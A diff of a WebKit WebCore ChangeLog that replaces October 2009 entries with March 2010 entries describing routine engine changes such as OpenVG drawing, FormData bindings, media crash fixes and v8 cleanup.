-        * bindings/js/JSCustomSQLTransactionErrorCallback.h:
-        * bindings/js/JSCustomVoidCallback.cpp:
-        (WebCore::JSCustomVoidCallback::JSCustomVoidCallback):
-        (WebCore::JSCustomVoidCallback::~JSCustomVoidCallback):
-        (WebCore::JSCustomVoidCallback::handleEvent):
-        * bindings/js/JSCustomVoidCallback.h:
-        * storage/Database.cpp:
-        (WebCore::Database::Database):
-
-2009-10-07  Jens Alfke  <snej@chromium.org>
-
-        Reviewed by Dave Levin.
+        * bindings/js/JSDOMFormDataCustom.cpp: Removed.
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::send):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8DOMFormDataCustom.cpp: Removed.
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::V8XMLHttpRequest::sendCallback):
+        * html/DOMFormData.idl: Removed.
+        * page/DOMWindow.idl:
 
-        Fix StringImpl::m_buffer
-        https://bugs.webkit.org/show_bug.cgi?id=30189
+2010-03-12  Jakob Petsovits  <jpetsovits@rim.com>
 
-        Fix my previous StringImpl patch to avoid using an indefinite-length array member,
-        since MSVC doesn't like it. Instead, go back to offsetting by sizeof(StringImpl).
+        Reviewed by Dirk Schulze.
 
-        * platform/text/StringImpl.cpp:
-        (WebCore::StringImpl::StringImpl):
-        (WebCore::StringImpl::createUninitialized):
-        * platform/text/StringImpl.h:
-        (WebCore::StringImpl::bufferIsInternal):
+        [OpenVG] Add support for drawing text to PainterOpenVG
+        https://bugs.webkit.org/show_bug.cgi?id=35581
 
-2009-10-07  Aaron Boodman  <aa@chromium.org>
+        Doesn't come with any actual font classes, as OpenVG
+        by itself doesn't provide any access to platform fonts
+        but just the means to draw glyphs that have been loaded
+        manually before.
 
-        Reviewed by Adam Barth.
+        * platform/graphics/openvg/PainterOpenVG.cpp:
+        (WebCore::PlatformPainterState::PlatformPainterState):
+        (WebCore::PlatformPainterState::copyPaintState):
+        (WebCore::PainterOpenVG::textDrawingMode):
+        (WebCore::PainterOpenVG::setTextDrawingMode):
+        (WebCore::PainterOpenVG::drawText):
+        * platform/graphics/openvg/PainterOpenVG.h:
 
-        Update isolated worlds under v8 to support world reuse.
-        https://bugs.webkit.org/show_bug.cgi?id=30145
+2010-03-12  Jakob Petsovits  <jpetsovits@rim.com>
 
-        * bindings/v8/ScriptController.cpp:
-        Replace evaluateInNewIsolatedWorld() withe evaluateInIsolatedWorld(id).
-        (WebCore::ScriptController::evaluateInIsolatedWorld):
-        * bindings/v8/ScriptController.h: Ditto.
-        * bindings/v8/V8Proxy.cpp: Ditto.
-        (WebCore::V8Proxy::~V8Proxy): Dittio.
-        (WebCore::V8Proxy::evaluateInIsolatedWorld): Ditto.
-        * bindings/v8/V8Proxy.h: Ditto.
-        * bindings/v8/V8IsolatedWorld.cpp:
-        Add support for controlling lifetime of a world, rather than relying on GC.
-        (WebCore::V8IsolatedWorld::contextWeakReferenceCallback): Ditto.
-        (WebCore::V8IsolatedWorld::V8IsolatedWorld): Ditto.
-        (WebCore::V8IsolatedWorld::destroy): Ditto.
-        * bindings/v8/V8IsolatedWorld.h: Ditto.
-
-2009-10-07  Jeremy Orlow  <jorlow@chromium.org>
-
-        Build fix for http://trac.webkit.org/changeset/49272 on Windows
+        Reviewed by Dirk Schulze.
 
-        * platform/text/StringImpl.h:
-
-2009-10-07  Jens Alfke  <snej@chromium.org>
+        [OpenVG] Use masks to implement non-rectilinear clipping
+        https://bugs.webkit.org/show_bug.cgi?id=35544
 
-        Reviewed by Darin Adler.
+        Requires some additional context switching logic to
+        make sure the right context is current when dealing
+        with the mask, because we don't store it by ourselves.
 
-        Optimization of StringImpl:
-        - Remove unnecessary m_bufferIsInternal member (saves 4 bytes). Instead, check whether
-          m_data points to just past the end of the object's members.
-        - copy() and createWithTerminatingNullCharacter() create the string in a single malloc
-          block instead of 2 (saves ~20 bytes and considerable CPU cycles, increases locality).
-        - Move m_length next to m_hash to save 4 bytes of padding in 64-bit builds.
-          
-        https://bugs.webkit.org/show_bug.cgi?id=29500
+        Initial version of this code was written by
+        Eli Fidler <efidler@rim.com>, I did a couple of
+        bug fixes and efficiency improvements since then.
 
-        * platform/text/StringImpl.cpp:
-        (WebCore::StringImpl::StringImpl): Re-ordered members.
-        (WebCore::StringImpl::~StringImpl): Change to is-buffer-internal check.
-        (WebCore::StringImpl::createUninitialized): Use new m_buffer member instead of sizeof()
-            to ensure chars are copied to correct location.
-        (WebCore::StringImpl::createWithTerminatingNullCharacter): Make sure copy is created
-            in a single malloc block.
-        (WebCore::StringImpl::threadsafeCopy): Make sure copy is created in a single malloc block.
-        (WebCore::StringImpl::crossThreadString): Make sure copy is created in a single malloc block.
-        (WebCore::StringImpl::sharedBuffer): Change to is-buffer-internal check.
-        * platform/text/StringImpl.h:
-        (WebCore::StringImpl::startsWith): Just fixed a confusing param name.
-        (WebCore::StringImpl::bufferIsInternal): Changed member var into accessor method.
-        (WebCore::StringImpl::m_data): Repositioned for optimal member packing in 64-bit.
-        (WebCore::StringImpl::m_buffer): Added to provide an explicit location for where internal buffer goes.
-
-2009-10-07  Daniel Bates  <dbates@webkit.org>
+        * platform/graphics/openvg/GraphicsContextOpenVG.cpp:
+        (WebCore::GraphicsContext::clipPath):
+        (WebCore::GraphicsContext::clip):
+        (WebCore::GraphicsContext::clipOut):
+        (WebCore::GraphicsContext::clipOutEllipseInRect):
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        * platform/graphics/openvg/PainterOpenVG.cpp:
+        (WebCore::PlatformPainterState::PlatformPainterState):
+        (WebCore::PlatformPainterState::~PlatformPainterState):
+        (WebCore::PlatformPainterState::maskingEnabled):
+        (WebCore::PlatformPainterState::applyState):
+        (WebCore::PlatformPainterState::saveMaskIfNecessary):
+        (WebCore::PainterOpenVG::intersectClipRect):
+        (WebCore::PainterOpenVG::clipPath):
+        (WebCore::PainterOpenVG::save):
+        * platform/graphics/openvg/PainterOpenVG.h:
+        (WebCore::PainterOpenVG::):
+        * platform/graphics/openvg/SurfaceOpenVG.cpp:
+        (WebCore::SurfaceOpenVG::makeCurrent):
+        (WebCore::SurfaceOpenVG::makeCompatibleCurrent):
+        * platform/graphics/openvg/SurfaceOpenVG.h:
+        (WebCore::SurfaceOpenVG::):
+
+2010-03-12  Jian Li  <jianli@chromium.org>
 
-        Reviewed by Darin Adler.
+        Reviewed by Sam Weinig.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30102
-        And
-        <rdar://problem/5015957>
+        Add DOMFormData.idl to expose FormData interface.
+        https://bugs.webkit.org/show_bug.cgi?id=36024
         
-        Manual test to confirm that the not-allowed cursor is shown for an
-        invalid drag-and-drop operation.
-        
-        We cannot test this using DRT because of a discrepancy between the Windows
-        API-based drop effect and the WebKit drop effect. See bug #24731 for more
-        details.
-
-        * manual-tests/drag-cursor-notallowed.html: Added.
-
-2009-10-07  Mark Rowe  <mrowe@apple.com>
+        The implementation is based on XMLHttpRequest 2 spec:
+        http://dev.w3.org/2006/webapi/XMLHttpRequest-2/#formdata
 
-        Fix the build.
+        Test: http/tests/local/send-form-data.html
 
+        * Android.derived.jscbindings.mk:
+        * Android.derived.v8bindings.mk:
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pri:
+        * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMFormDataCustom.cpp: Added.
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::send):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * html/DOMFormData.idl: Added.
+        * page/DOMWindow.idl:
 
-2009-10-07  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fixes <http://webkit.org/b/30104>.
-        Inspector should show cookies of sub-resources on the page.
-        
-        This function implements showing cookies for all sub-resources of a page.
-        When the page is loaded, it populates the Storage Panel with a list of all
-        domains that were loaded as part of the full page load (iframes, ads, etc).
-        When the user selects one of the domains, the inspector calls back into the
-        controller, and the controller combines all of the cookies from that domain
-        into a list, and sends that list is sent back to the controller to render.
-        
-        A domain now needs to be passed into CookieItemsView, and CookieSidebarTreeElement.
-        
-        As a result of a previous patch, we now have detailed cookie information for
-        both Windows on CFNetwork and Mac. Additionally, this patch provides deleteCookie
-        support on Windows.
-
-        * bindings/js/ScriptObject.cpp:
-        (WebCore::ScriptObject::set):
-        * bindings/js/ScriptObject.h:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getCookies):
-        (WebCore::InspectorBackend::deleteCookie):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::didFinishLoading):
-        (WebCore::InspectorController::getCookies):
-        (WebCore::InspectorController::buildArrayForCookies):
-        (WebCore::InspectorController::buildObjectForCookie):
-        (WebCore::InspectorController::deleteCookie):
-        * inspector/InspectorController.h:
-        * inspector/InspectorDOMAgent.cpp:
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addCookieDomainForDocument):
-        * inspector/InspectorFrontend.h:
-        * inspector/front-end/CookieItemsView.js:
-        (WebInspector.CookieItemsView):
-        (WebInspector.CookieItemsView.prototype.update):
-        (WebInspector.CookieItemsView.prototype._deleteButtonClicked):
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.Cookies.getCookiesAsync):
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel):
-        (WebInspector.StoragePanel.prototype.reset):
-        (WebInspector.StoragePanel.prototype.addCookieDomain):
-        (WebInspector.StoragePanel.prototype.showCookies):
-        (WebInspector.CookieSidebarTreeElement):
-        (WebInspector.CookieSidebarTreeElement.prototype.onselect):
-        * inspector/front-end/inspector.js:
-        (WebInspector.addCookieDomain):
-        * platform/Cookie.h:
-        (WebCore::CookieHash::hash):
-        (WebCore::CookieHash::equal):
-        (WTF::):
-        * platform/network/win/CookieJarCFNetWin.cpp:
-        (WebCore::deleteCookie):
-
-2009-10-07  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Add ScriptObject::set(const char*, unsigned).
-
-        https://bugs.webkit.org/show_bug.cgi?id=30104
-
-        * bindings/v8/ScriptObject.cpp:
-        (WebCore::ScriptObject::set):
-        * bindings/v8/ScriptObject.h:
+2010-03-12  Jakob Petsovits  <jpetsovits@rim.com>
 
-2009-10-07  Brent Fulgham  <bfulgham@webkit.org>
+        Reviewed by Dirk Schulze.
 
-        Unreviewed build fix for Windows (Cairo).
+        [OpenVG] Add a SurfaceOpenVG constructor for EGL client buffer surfaces
+        https://bugs.webkit.org/show_bug.cgi?id=35538
 
-        Provide implementation of new BitmapImage::create that was
-        added in @r49060.
+        SurfaceOpenVG can now not only encapsulate pbuffer
+        and window surfaces but also VGImage-based ones.
 
-        * platform/graphics/win/ImageCairoWin.cpp:
+        * platform/graphics/openvg/EGLDisplayOpenVG.cpp:
+        (WebCore::EGLDisplayOpenVG::createPbufferFromClientBuffer):
+        * platform/graphics/openvg/EGLDisplayOpenVG.h:
+        * platform/graphics/openvg/SurfaceOpenVG.cpp:
+        (WebCore::SurfaceOpenVG::SurfaceOpenVG):
+        * platform/graphics/openvg/SurfaceOpenVG.h:
 
-2009-10-07  Andrew Scherkus  <scherkus@chromium.org>
+2010-03-12  Alpha Lam  <hclam@chromium.org>
 
         Reviewed by Eric Carlson.
 
-        Refactor RenderThemeChromiumMac and RenderThemeChromiumSkia to render media controls using GraphicsContext.
-
-        Design was based on existing RenderMediaControls.cpp used by RenderThemeSafari/Win.
+        Fix a crash when resource loading of media element is canceled.
+        https://bugs.webkit.org/show_bug.cgi?id=35992
 
-        https://bugs.webkit.org/show_bug.cgi?id=29987
+        Use of HTMLMediaElement::duration() after resource loading was canceled
+        will cause a crash. This is because HTMLMediaElement::m_player is used
+        when NULL.
+        Test: http/tests/media/video-cancel-load.html
 
-        Covered by existing layout tests as no new functionality was introduced.
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::duration):
+        Avoid calling to m_player when it is null.
+        (WebCore::HTMLMediaElement::userCancelledLoad):
+        Set m_readyState to HAVE_NOTHING.
 
-        * WebCore.gypi: Added RenderMediaControlsChromium.cpp/h.
-        * css/mediaControlsChromium.css: Tweaked media slider position and border style.
-        * rendering/MediaControlElements.cpp:
-        (WebCore::toParentMediaElement): Taken from RenderMediaControls.
-        (WebCore::MediaControlElement::rendererIsNeeded): Don't call shouldRenderMediaControlPart() if element has no appearance.
-        (WebCore::MediaControlInputElement::rendererIsNeeded): Ditto.
-        * rendering/RenderMediaControls.cpp: Moved parentMediaElement() to MediaControlElements.
-        * rendering/RenderMediaControlsChromium.cpp: Added.
-        (WebCore::platformResource): Helper to load and cache media control image resources.
-        (WebCore::mediaSliderThumbImage): Implementation refactored from RenderThemeChromiumMac/Skia.
-        (WebCore::mediaVolumeSliderThumbImage): Ditto.
-        (WebCore::paintMediaButton): Ditto.
-        (WebCore::paintMediaMuteButton): Ditto.
-        (WebCore::paintMediaPlayButton): Ditto.
-        (WebCore::paintMediaSlider): Ditto.
-        (WebCore::paintMediaSliderThumb): Ditto.
-        (WebCore::paintMediaVolumeSlider): Ditto.
-        (WebCore::paintMediaVolumeSliderThumb): Ditto.
-        (WebCore::paintMediaTimelineContainer): Ditto.
-        (WebCore::RenderMediaControlsChromium::shouldRenderMediaControlPart): Ditto.
-        (WebCore::RenderMediaControlsChromium::paintMediaControlsPart): Same
-        (WebCore::RenderMediaControlsChromium::adjustMediaSliderThumbSize):
-        * rendering/RenderMediaControlsChromium.h: Added.
-        * rendering/RenderThemeChromiumMac.h:
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::adjustSliderThumbSize): Implementation delegated to RenderMediaControlsChromium.
-        (WebCore::RenderThemeChromiumMac::shouldRenderMediaControlPart): Ditto.
-        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton): Ditto.
-        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton): Ditto.
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack): Ditto.
-        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderTrack): Ditto.
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb): Ditto.
-        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderThumb): Ditto.
-        (WebCore::RenderThemeChromiumMac::paintMediaControlsBackground): Ditto.
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::paintMediaControlsBackground): Implementation delegated to RenderMediaControlsChromium.
-        (WebCore::RenderThemeChromiumSkia::paintMediaSliderTrack): Ditto.
-        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderTrack): Ditto.
-        (WebCore::RenderThemeChromiumSkia::adjustSliderThumbSize): Ditto.
-        (WebCore::RenderThemeChromiumSkia::paintMediaSliderThumb): Ditto.
-        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderThumb): Ditto.
-        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton): Ditto.
-        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton): Ditto.
-        (WebCore::RenderThemeChromiumSkia::shouldRenderMediaControlPart): Ditto.
-
-2009-10-07  Dave Hyatt  <hyatt@apple.com>
+2010-03-12  Dan Bernstein  <mitz@apple.com>
 
-        Reviewed by Adam Roben.
+        Reviewed by Darin Adler.
 
-        Make plugins work with beforeload.
+        <rdar://problem/7725534> CSSPrimitiveValue::parserValue() returns deleted memory
+        https://bugs.webkit.org/show_bug.cgi?id=20069
 
-        Added fast/dom/beforeload/flash-before-load.html
+        No test added, since with the CSS variables feature disabled, the pointer
+        to the freed memory is never dereferenced.
 
-        * html/HTMLObjectElement.cpp:
-        (WebCore::HTMLObjectElement::parseMappedAttribute):
-        * rendering/RenderPartObject.cpp:
-        (WebCore::RenderPartObject::updateWidget):
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::valueOrPropertyName): Changed to return a const AtomicString& from
+        a static table.
+        (WebCore::CSSPrimitiveValue::parserValue): Updated for the above change.
 
-2009-10-07  Vitaly Repeshko  <vitalyr@chromium.org>
+2010-03-12  Dan Bernstein  <mitz@apple.com>
 
-        Reviewed by Adam Barth.
+        Build fix.
 
-        [V8] Protect JS listener object from GC while clearing a property on it.
-        See http://crbug.com/23780.
-        https://bugs.webkit.org/show_bug.cgi?id=30137
+        * platform/chromium/PlatformKeyboardEventChromium.cpp:
 
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
+2010-03-12  Dan Bernstein  <mitz@apple.com>
 
-2009-10-07  Zoltan Horvath  <zoltan@webkit.org>
+        Reviewed by Darin Adler.
 
-        Rubber-stamped by Eric Seidel.
+        <rdar://problem/7694674> Hover states not updated when overflow section scrolls under stationary mouse pointer
+        https://bugs.webkit.org/show_bug.cgi?id=35949
 
-        Allow custom memory allocation control for WebCore's CachedResourceClient class
-        https://bugs.webkit.org/show_bug.cgi?id=30165
+        Test: fast/events/overflow-scroll-fake-mouse-move.html
 
-        Inherits CachedResourceClient class from FastAllocBase because (its
-        child class) CSSFontFaceSource has been instantiated by 'new' in WebCore/css/CSSFontFaceSource.h:46.
+        Soon after an overflow section scrolls under the mouse pointer, dispatch
+        a fake mouse move event. This is similar to how frame scrolling is handled
+        in WebKit, and has the effect of updating hover state, dispatching DOM mouse
+        events, and updating the tool tip.
 
-        * loader/CachedResourceClient.h:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::EventHandler): Initialize m_fakeMouseMoveEventTimer.
+        (WebCore::EventHandler::~EventHandler): Assert that the timer is not active.
+        (WebCore::EventHandler::clear): Stop the timer.
+        (WebCore::EventHandler::handleMousePressEvent): Cancel pending fake mouse
+        move events.
+        (WebCore::EventHandler::handleMouseMoveEvent): Ditto.
+        (WebCore::EventHandler::dispatchFakeMouseMoveEventSoonInQuad): If the mouse
+        is in the passed-in quad, ensure that a fake mouse move event is scheduled
+        to fire soon.
+        (WebCore::EventHandler::cancelFakeMouseMoveEvent): Does what the name says.
+        (WebCore::EventHandler::fakeMouseMoveEventTimerFired): Constructs a
+        PlatformMouseEvent with the current mouse location, modifier key state and
+        time stamp and calls mouseMoved().
+        * page/EventHandler.h:
+        * platform/PlatformKeyboardEvent.h: Declared getCurrentModifierState().
+        * platform/android/KeyEventAndroid.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Stubbed out.
+        * platform/brew/PlatformKeyboardEventBrew.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Ditto.
+        * platform/chromium/PlatformKeyboardEventChromium.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Added.
+        * platform/efl/PlatformKeyboardEventEfl.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Stubbed out.
+        * platform/gtk/KeyEventGtk.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Ditto.
+        * platform/haiku/PlatformKeyboardEventHaiku.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Added.
+        * platform/mac/KeyEventMac.mm:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Ditto.
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Stubbed out.
+        * platform/win/KeyEventWin.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Added.
+        * platform/wx/KeyboardEventWx.cpp:
+        (WebCore::PlatformKeyboardEvent::getCurrentModifierState): Ditto.
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::scrollToOffset): Call
+        EventHandler::dispatchFakeMouseMoveEventSoonInQuad(). Moved things around
+        a little to avoid computing the repaint rect twice.
 
-2009-10-07  Zoltan Horvath  <zoltan@webkit.org>
+2010-03-12  Kent Hansen  <kent.hansen@nokia.com>
 
         Reviewed by Darin Adler.
 
-        Allow custom memory allocation control for WebCore's IdentifierRep 
-        https://bugs.webkit.org/show_bug.cgi?id=30159                                                        
+        Webkit doesn't build with workers on and database off
+        https://bugs.webkit.org/show_bug.cgi?id=35997
 
-        Inherits IdentifierRep class from FastAllocBase because it has been                                 
-        instantiated by 'new' in WebCore/bridge/IdentifierRep.cpp:61.  
+        Added missing ENABLE(DATABASE) guards.
 
-        * bridge/IdentifierRep.h:
+        * workers/WorkerThread.cpp:
+        (WebCore::WorkerThreadShutdownStartTask::performTask):
 
-2009-10-07  Anton Muhin  <antonm@chromium.org>
+2010-03-12  Dan Winship  <danw@gnome.org>
 
-        Reviewed by Adam Barth.
+        Reviewed by Gustavo Noronha.
 
-        Fetch pointers to C+DOM window immediately from holder
-        object (do not search prototype chain for proper JS wrapper).
-        https://bugs.webkit.org/show_bug.cgi?id=29031
+        Make the defaultCookieJar use a no-third-party policy. Most
+        applications set their own cookie jar, but DumpRenderTree doesn't,
+        so it was failing the new third-party-cookie test.
 
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::createNewContext):
-        (WebCore::V8Proxy::installDOMWindow):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::NAMED_ACCESS_CHECK):
-        (WebCore::INDEXED_ACCESS_CHECK):
-2009-10-07  Adam Roben  <aroben@apple.com>
+        * platform/network/soup/CookieJarSoup.cpp:
+        (WebCore::defaultCookieJar):
 
-        Fix typo in PluginView::load that was causing cross-origin loads to
-        be allowed
+2010-03-11  Simon Hausmann  <simon.hausmann@nokia.com>
 
-        This typo was introduced in the build fix in r49213.
+        Reviewed by Laszlo Gombos.
 
-        Fixes <http://webkit.org/b/30168> REGRESSION (r49213):
-        http/tests/plugins/local-geturl-from-remote.html is failing on Windows
+        [Qt] Enable network state notifier when compiling against Qt 4.7
+        https://bugs.webkit.org/show_bug.cgi?id=35983
 
-        Reviewed by Sam Weinig.
+        * WebCore.pri:
+        * platform/network/qt/NetworkStateNotifierPrivate.h:
+        * platform/network/qt/NetworkStateNotifierQt.cpp:
 
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::load): Removed a comma operator that was making
-        a condition always evaluate to true.
+2010-03-11  Benjamin Poulain  <benjamin.poulain@nokia.com>
 
-2009-10-07  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Reviewed by Adam Treat.
 
-        Reviewed by Simon Hausmann.
+        Do not render the full frame when there is some elements with fixed positioning
+        https://bugs.webkit.org/show_bug.cgi?id=33150
 
-        Do not create valid QColor's for invalid WebCore::Color's.
+        The frame view take into acount the list of fixed object when scrolling
+        the view. If the number of object is lower than a certain threshold, the pixel
+        are blitted, and the invalidated area updated.
 
-        * platform/graphics/qt/ColorQt.cpp:
-        (WebCore::Color::operator QColor):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::FrameView):
+        (WebCore::FrameView::useSlowRepaints):
+        (WebCore::FrameView::useSlowRepaintsIfNotOverlapped):
+        (WebCore::FrameView::addFixedObject):
+        (WebCore::FrameView::removeFixedObject):
+        (WebCore::FrameView::scrollContentsFastPath):
+        * page/FrameView.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollContents):
+        (WebCore::ScrollView::scrollContentsFastPath):
+        * platform/ScrollView.h:
+        * rendering/RenderBlock.h:
+        (WebCore::RenderBlock::positionedObjects):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::styleWillChange):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleWillChange):
 
-2009-10-07  Janne Koskinen  <janne.p.koskinen@digia.com>
+2010-03-11  Aaron Boodman  <aa@chromium.org>
 
-        Reviewed by Simon Hausmann.
+        Kill WebDocument::applicationID() (part 1).
 
-        [Qt] Symbian SBSv2 .data segment adress fix
-        https://bugs.webkit.org/show_bug.cgi?id=30157
+        Modify interface to WebCore::NotificationPresenter::checkPermission()
+        and remove implementation of WebDocument::applicationID(). Breaking
+        API changes will be in a subsequent change.
+        https://bugs.webkit.org/show_bug.cgi?id=35846
 
-        RO-section in qtwebkit.dll exceeds allocated space in SBSv2. Move RW-section
-        base address to start from 0x800000 instead of the toolchain default 0x400000
+        * notifications/Notification.cpp:
+        (WebCore::Notification::Notification):
+        * notifications/NotificationCenter.cpp:
+        (WebCore::NotificationCenter::checkPermission):
+        * notifications/NotificationPresenter.h:
 
-        * WebCore.pro:
+2010-03-11  Dmitry Titov  <dimich@chromium.org>
 
-2009-10-07  Pavel Feldman  <pfeldman@chromium.org>
+        Reviewed by David Levin.
 
-        Reviewed by Timothy Hatcher.
+        [v8] Remove obsolete code for delayed dereferencing of DOM objects for single-heap, multithread v8 usage.
+        https://bugs.webkit.org/show_bug.cgi?id=36043
 
-        Web Inspector: Migrate database inspection to the injected script-based schema.
+        No new tests, no changes in functionality.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29788
+        * bindings/v8/DOMData.cpp:
+        (WebCore::DOMData::DOMData):
+        * bindings/v8/DOMData.h:
+        (WebCore::DOMData::handleWeakObject):
+        * bindings/v8/DOMDataStore.cpp:
+        * bindings/v8/DOMDataStore.h:
+        (WebCore::DOMDataStore::domObjectMap):
+        (WebCore::DOMDataStore::activeDomObjectMap):
+        (WebCore::DOMDataStore::domSvgElementInstanceMap):
+        (WebCore::DOMDataStore::domSvgObjectWithContextMap):
+        * bindings/v8/ScopedDOMDataStore.cpp:
+        (WebCore::ScopedDOMDataStore::ScopedDOMDataStore):
+        * bindings/v8/StaticDOMDataStore.cpp:
+        (WebCore::StaticDOMDataStore::StaticDOMDataStore):
+        * bindings/v8/StaticDOMDataStore.h:
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::removeAllDOMObjectsInCurrentThread):
 
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::databaseForId):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::dispatchOnInjectedScript):
-        (WebCore::InspectorBackend::databaseForId):
-        (WebCore::InspectorBackend::selectDatabase):
-        (WebCore::InspectorBackend::getDatabaseTableNames):
-        (WebCore::InspectorBackend::reportDidDispatchOnInjectedScript):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::resetScriptObjects):
-        (WebCore::InspectorController::selectDatabase):
-        (WebCore::InspectorController::databaseForId):
-        (WebCore::InspectorController::didOpenDatabase):
-        (WebCore::InspectorController::didUseDOMStorage):
-        (WebCore::InspectorController::selectDOMStorage):
-        (WebCore::InspectorController::getDOMStorageResourceForId):
-        * inspector/InspectorController.h:
-        * inspector/InspectorDatabaseResource.cpp:
-        (WebCore::InspectorDatabaseResource::InspectorDatabaseResource):
-        (WebCore::InspectorDatabaseResource::bind):
-        * inspector/InspectorDatabaseResource.h:
-        (WebCore::InspectorDatabaseResource::database):
-        (WebCore::InspectorDatabaseResource::id):
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addDatabase):
-        (WebCore::InspectorFrontend::selectDatabase):
-        (WebCore::InspectorFrontend::didGetDatabaseTableNames):
-        (WebCore::InspectorFrontend::addDOMStorage):
-        * inspector/InspectorFrontend.h:
-        * inspector/front-end/Database.js:
-        (WebInspector.Database):
-        (WebInspector.Database.prototype.get id):
-        (WebInspector.Database.prototype.set name):
-        (WebInspector.Database.prototype.set version):
-        (WebInspector.Database.prototype.set domain):
-        (WebInspector.Database.prototype.getTableNames):
-        (WebInspector.Database.prototype.executeSql):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.dispatch):
-        (InjectedScript.executeSql):
-        (InjectedScript.executeSql.errorCallback):
-        (InjectedScript.executeSql.queryTransaction):
-        * inspector/front-end/InjectedScriptAccess.js:
-        (InjectedScriptAccess._installHandler.InjectedScriptAccess.methodName):
-        (InjectedScriptAccess._installHandler):
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel.prototype.selectDatabase):
-        (WebInspector.StoragePanel.prototype.dataGridForResult):
-        * inspector/front-end/inspector.js:
-        (WebInspector.addDatabase):
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
 
-2009-10-07  Girish Ramakrishnan  <girish@forwardbias.in>
+        Rubber stamped by Oliver Hunt.
 
-        Reviewed by Simon Hausmann.
+        Remove nonsense comments used in development & commited in error.
 
-        [Qt] Windowless Plugins: Disable content propagation for QGraphicsView items
-        
-        We cannot support content propagation for items in QGraphicsView because
-        the contents of the backing store might be transformed. So turn it off
-        if we are not painting on QWidget.
-        
-        Note that this check will not work for a QWebView in a
-        QGraphicsProxyWidget, but I guess it's fine. Alternative is to do an
-        even uglier cast: static_cast painter's paintDevice() to QWidget and
-        check if it is the viewport() of QGraphicsView.
+        * platform/text/StringImpl.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=30149
